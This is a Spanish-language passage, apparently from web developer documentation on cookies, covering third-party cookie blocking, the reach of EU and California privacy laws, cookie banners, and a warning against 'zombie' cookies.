bloqueo de cookies puede provocar que algunos componentes de terceros (como los
widgets de redes sociales) no funcionen según lo previsto.
Hay algunas funciones útiles disponibles para los desarrolladores que desean respetar la
privacidad del usuario y minimizar el seguimiento de terceros:
Estas regulaciones tienen alcance global. Se aplican a cualquier sitio del internet al que
accedan usuarios de estas jurisdicciones (la UE y California, con la salvedad de que la ley
de California se aplica sólo a entidades con ingresos brutos superiores a 25 millones de
dólares, entre otras cosas).
Puede haber otras regulaciones que rijan el uso de cookies en tu ubicación. La carga de
conocer y cumplir estas regulaciones recae sobre usted. Hay empresas que ofrecen un
código de "banner de cookies" que le ayuda a cumplir con estas normativas.
Existen algunas técnicas diseñadas para recrear las cookies después de eliminarlas. Se
conocen como cookies "zombies". Estas técnicas violan los principios de privacidad y
control del usuario, pueden violar las regulaciones de privacidad de datos y podrían
exponer a un sitio web que las utilice a responsabilidad legal.
Documentación:
[Link]